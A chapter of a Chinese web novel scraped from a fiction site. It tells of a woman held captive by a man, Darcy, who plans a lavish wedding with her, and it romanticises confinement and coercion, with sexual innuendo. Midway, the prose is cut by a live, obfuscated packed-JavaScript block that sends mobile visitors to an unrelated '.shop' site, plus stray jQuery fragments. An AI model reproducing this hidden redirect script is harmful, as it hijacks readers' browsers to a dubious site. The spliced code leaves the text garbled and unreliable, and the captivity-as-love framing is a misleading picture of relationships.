文趣网 > 其他小说 > 她的第三张假面 > 38.新的人皮面具
    这一瞬间,他声音似有些痛苦,又有些无奈。

    “你要杀我?”

    他抬眸轻轻问她。

    即便是在这样刀尖相向的时候,他的语气里,却仍然带着对她的宠溺。

    “为什么?”

    他不理解,所以不顾她威胁的眼神,大掌抚了抚她的发丝。

    就像是在安抚一只受惊的小猫儿。

    她恶狠狠的样子,是他从来没有见过的可爱。

    “我不喜欢被囚禁。”

    “我不是要囚禁你我是要娶你。”

    他说得认真,仿佛是真的一样。

    可只有她自己知道,那打着为她好的旗号而软禁她的行为。

    不是变相的囚禁是什么?

    从小到大,她受够了这样的生活,她厌恶一切限制她自由活动的行为!

    五岁被卖前,她会被父亲关在地窖,怎么也逃不出去,再绝望也推不开那被紧紧抵起来的地窖门。

    五岁被卖后,无论被卖到哪个地方,那些人为了防止她逃跑,总是会把她关起来。

    不管她有多害怕,有多无助,门始终关得死死的,不带一丝缝隙,让她觉得窒息,觉得绝望。

    她讨厌囚禁,甚至是害怕囚禁,所以再次被带回来的时候,她会情绪失控。

    “你要娶我就必须嫁吗?你放我走,不然我就杀了你。”

    他身体向前倾了倾,离她更近了些的同时,刀尖也更深入了。

    “如果我,就是不放呢?”

    情绪濒临崩溃,所以她恶狠狠的拿刀抵着他的脖子,丝毫不管往下低落的血越来越多。

    和他眼底那越来越明显的痛意。

    “挡我者死。”

    她的眼底当真是没有丝毫的感情。

    那双漂亮的眸子冷冰冰的。

    直让人觉得心底发寒。

    他沉默着,一言不发的伸手握住了刀刃。

    她再一次体会到了男女身体的悬殊。

    即便她已经十分刻苦的锻炼了,可他轻轻一握,她就使不上任何力气了。

    “真想看看,朝朝的心是不是石头做的。”

    他放下刀,任由脖颈手心鲜血往下流,不顾她的挣扎把她抱了起来。

    达尔西其实并不温柔,他只是在面对朝朝的时候,会刻意收敛自己的脾气,降低自己的音量。

    久而久之,他装习惯了,在她面前也一直就是这个样子了。

    可实际上,她还记得她待在达尔西身边的第一年,那个时候的达尔西,不说话的时候,看起来是凶神恶煞的。

    “你不就喜欢我这张脸吗?割下来送你。”

    被他抱着无法挣扎,她手掐在他伤口上,恶劣的想要让他痛。

    可他却仍是面不改色,只对她的话感到无奈。

    喜欢脸吗?确实是喜欢。

    可这张脸,在她身上和在外人身上的感觉是不一样的。

    如果说以前只是纯粹的被她天使般的面孔吸引,那么现在……

    “那如果我说,我喜欢的,不只是你的脸呢?”

    “那你是不是就愿意留下来了?”

    他是很认真的在问,可她听到时,却并不觉得他是认真的在说。

    喜欢这两个字,说出来不需要成本,当然是他想怎么说就怎么说。

    只恨她自己疏忽大意,不过是因为假脸戴久了,刚摘下来透透气,还没走两步,就被他的人抓住了。

    明明她那个时候就警惕的蒙上脸了,可谁知道达尔西的人这些年找到疯狂。

    见到有蒙着的脸的不管是男人还是女人都要掀开强行查看。

    幸运的是,他并没有发现她使用假脸,也没有发现塞尔就是她。

    “喜欢一个人并不是占有,所以你一边想独自占有我,一边又说喜欢我,你不觉得好笑吗?”

    他惊讶于她对这方面的事这么懂。

    却又感到心酸。

    不管是谁教会的她这些东西,都不是他愿意看到的。

    “喜欢的确不是占有,可你怎么就总断定,我对你只是占有呢。”

    他不敢说自己完全没有占有的心思。

    人都是自私的,他也不例外。

    可爱一个人,还要做的是保护。

    “朝朝,或许没有人告诉过你,爱都是自私的。”

    讲话的瞬间,他已经将她抱到房间。

    他没有找奴隶给他处理伤口。

    只是自己拿出绷带往不停出血的地方缠了缠。

    前前后后不到一分钟。

    她看着他的动作,确实不理解。

    可更不理解的是,他下一秒就抱住了她,强迫她躺下。

    那双冷白有力的手臂揽过她,将她抱在了怀里。

    “你要干什么!放开!”

    “乖乖睡觉,我不做其他的。”

    三年前,她每天都睡在他身边。

    虽然他每晚忍得难受,可内心的幸福感却是填得满满当当的。

    三年了,找她三年了。

    她不在的这三年他经常会梦到他,醒来后怅然若失。

    而现在,心心念念了三年的珍宝终于找回来了,他却仍觉得不真实。

    他太累了,只想抱着她好好睡一觉,仅此而已。

    “你身上很难闻,都是血腥味。”

    “嗯。”

    “你这样抱着我不舒服。”

    “嗯。”

    “??”

    过了会儿她再看,却发现他已经睡着了。

    只是那双臂仍是紧紧的禁锢着她,像铁一样僵硬。

    除了这个,还有其他地方。

    她皱眉,蜷着身子想要离那个地方远一点。

    可她的身体终究是太迷惑人了。

    随着她年龄的增长,她只会变得越来越迷人,越来越让人疯狂。

    这种吸引力,比三年前更甚。

    所以他还是睁开了眼,那双眸子猩红,带着毫不掩饰的欲望。

    “朝朝。”

    “?”

    “你十九了。”

    “所以?”

    “我说过等你到十八岁,可你现在十九了。”

    大掌摸在她腿上,他不知道在想什么,只是眼底有些复杂。

    她突然就笑了,只觉得男人都是一个样子。

    所以手臂环上他的脖颈,主动往他身上贴去。

    察觉到他身躯僵硬,她又说。

    “所以,达尔西先生想跟我结婚,其实,就是为了那个对吧?”

    “其实,大可不必如此,你早说啊,早说了,就算不结婚我也给你。”

    “想要几次,就有几次,怎么样?现在想要吗?”

    她其实是在故意说这些话气他。

    他也听出了她是在故意气他。

    可是还是会觉得难过,酸涩。

    想解释。

    可是话在嘴边辗转千万遍,最终还是无从说起。

    该怎么说呢?该怎么描述我对你的喜欢。

    该怎么让你知道,你在我这里是这个世界上独一无二的珍宝呢。

    现实是,说不了,也没办法让你相信。

    所以犹豫好久,最终还是只能安安静静的抱住你。

    “不想要,乖乖睡觉。”

    她犟,他也犟。

    所以即便忍到冷汗直流,也不肯间接的对应她的话。

    “想娶她就只是为了那种事”

    她轻笑。

    他越是想要克制,越是想要装作不想要,她就越是想要挑拨。

    她就是喜欢看人性最真实的一面,她就是喜欢看这些披着羊皮的狼露出真面目。

    人都偏向于把自己恶的一面藏起来,将表面面塑造得非常得体。

    可偏偏,人的阴暗面是她从小看到大的东西。

    “你喜欢我吗?”

    “嗯。”

    他大方承认了。

    可她眼底却都是嘲笑。

    黑暗里,他听见她用嘲讽的声音说。

    好可怜哦,可是我不会喜欢你呢,不过,如果你想要玩的话……

    她摸着他的脸,言语冰冷又魅惑。

    明明她的体温是温柔的,天气也合该是温暖的。

    可莫名的,就是觉得手脚发凉。

    她的手摸上了他的脸,做出了各种暗示的动作。

    就在她想要更近一步,做出更过分的动作时,他再也忍不住,按住了她的手。

    “睡觉。”

    他按住她,她真就无法动弹了。

    他在装睡,明明闭着眼眼睫都在轻颤。

    她以为达尔西多有骨气呢。

    结果装睡到半夜不还是没忍住吗?最后还弄脏了她的衣服。

    “你说什么?她又消失了?”

    “是的主人。”

    “现在……约翰少爷那边也在找塞尔小姐了。”

    “不过……不确定她是失踪了,还是暂时没回家。”

    “但是约翰少爷很担心。”

    他现在已经无暇顾及约翰是不是不正常了。

    只是恨自己又晚了一步。

    明明离真相就差那么点距离了。

    明明他早两步过来就能知道,塞尔到底是不是她了。

    可他终究还是晚了。

    “主人您,您别着急,我们已经派人去找了。”

    “或许……塞尔小姐过两天就自己回来了呢。”

    他捻着指尖。

    手中握着那枚已经烧坏的十字架耳环。

    内心说不出是酸涩还是什么。

    只是他知道,塞尔就像云听染那样,真正想要消失的时候,谁都找不回来。

    怎么找呢?茫茫人海,乍一眼望去,是各种各样陌生的面孔。

    如果她想要掩饰的话,终其一生,他都没有办法找到她。

    “主人……我们还要回去吗?”

    他垂下手,头发被风吹乱。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710652|208297||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    他说。

    “回去吧。”

    活得久一点,再次遇见她的几率就大一点。

    大概是因为她逃跑过。

    所以这次被抓回来,达尔西明显对她更防备了。

    里三层,外三层。

    就是怕她跑了。

    之前那么小的年纪,能从他手里逃跑也是因为做了人皮面具。

    可是为了防止被发现,她很小心那些材料就收集了整整两年。

    以前小,有无数的耐心陪他耗着,只要最后能逃出去就行。

    可是现在,她又哪里有那么多时间去陪达尔西耗着。

    “朝朝,我已经布置好了一切。”

    “半个月后,我就可以给你一个全世界最盛大的婚礼。”

    他为这一天准备太久了。

    尽管忍不住马上就想和她结婚。

    可他还是不想委屈她。

    他要她做无忧无虑的小公主。

    他要让全世界的人都羡慕她。

    他要让朝朝成为樊城中人人艳羡的达尔西夫人。

    朝朝闻言也并没有看他,依旧看着那高高垒起的高墙。

    这是她被达尔西软禁的第二个月。

    “全世界最盛大的婚礼?不知道达尔西先生怎么给我全世界最盛大的婚礼?”

    “是空无一人的礼堂,还是满堂空座宾客?”

    “达尔西,不知道你有没有听说过一句话。”

    “物极必反。”

    她语气轻轻的,却总是带着一股力量。

    他听后皱了皱眉,有些担心的看着她。

    “你要做什么?”

    “你偏要关着我,那么,如果有一天我不存在于这个世界上了,你是不是要把我的尸体也禁锢起来呢?”

    她当然是骗他的。

    没有亲眼看到那些人遭受报应,她又怎么可能会去死。

    没有人比她更要好好活着了。

    是吓他的,他也确实被吓到了。

    当即就拉住了她的手腕,好像生怕她下一秒会消失一样。

    “不是,我没打算关着,我已经想到办法了,朝朝,以后,你都可以出现在人前了。”

    “我们的婚礼,我必定宴请全樊城的人,让他们都羡慕你。”

    说着说着,他抱住了她。

    鼻尖吸吮着独属于她身上的香味。

    这个味道常常让他痴迷,远远一闻就彻底沦陷。

    这样的珍宝,如果就这样出现在人前的话,必定会出现万人争夺的现象。

    这对于她来说未必是好事,所以他不能就这样放她出去。

    “我不是要囚禁你,我是在保护你。”

    “别担心,到了我们结婚那天,你就可以出去了,以后想去哪儿我都陪着你。”

    她好奇他说的办法是什么。

    可他对此闭口不提,只说要给她一个惊喜。

    虽然不知道他要用什么办法光明正大带让她出现在人前。

    可她知道,时隔两个月之久,这次,是她逃跑的一个契机。

    没有人可以囚禁她,任何人都不行。

    她是属于她自己的,她的人生不需要任何人来安排。

    “听说了吗?达尔西失踪的未婚妻找回来了?”

    “什么?他那个未婚妻不是消失好几年了吗?”

    “还真找回来了?”

    “人家都要举行婚礼了!”

    达尔西果然没说谎,他当真是请了整个樊城的人。

    城堡内外人爆满。

    只是她万万没想到,他说的可以让她光明正大出现在人前的东西。

    不过就是一个精致的面具。

    外加一个可以掩饰她身上香味的特俗手镯。

    她看了那副精致的面具好久,突然精致的笑了。

    “夫人,怎么了?”

    正在帮她穿衣的女奴隶听见这轻笑,紧张的问了一句。

    “没什么,只是突然想到了好笑的事情。”

    可不就是好笑吗?这简陋的面具和手镯。

    和她自己特制的香水和人皮面具,可真是差远了。

    不过也对,人皮面具至今还只是个传说呢。

    那女奴隶见她勾着唇,羞红了脸开始走神起来。

    “来,我给你戴上。”

    精致又繁琐的礼服穿好后,达尔西进来了。

    他拿起那个面具,要亲自给她戴上。

    她微微仰头配合。

    和其他面具大不相同的是,这个面具戴了小锁。

    用手是解不开的。

    “为什么会有锁?”

    “为了防止有好奇的人摘下你的面具。”

    “是吗?”

    摘下面具而已。

    难得了别人难不了她。

    还以为这次逃跑会很难,但现在看来,不过如此。

    既然非要关着我,那么这次,你就和樊城的所有贵族去争吧。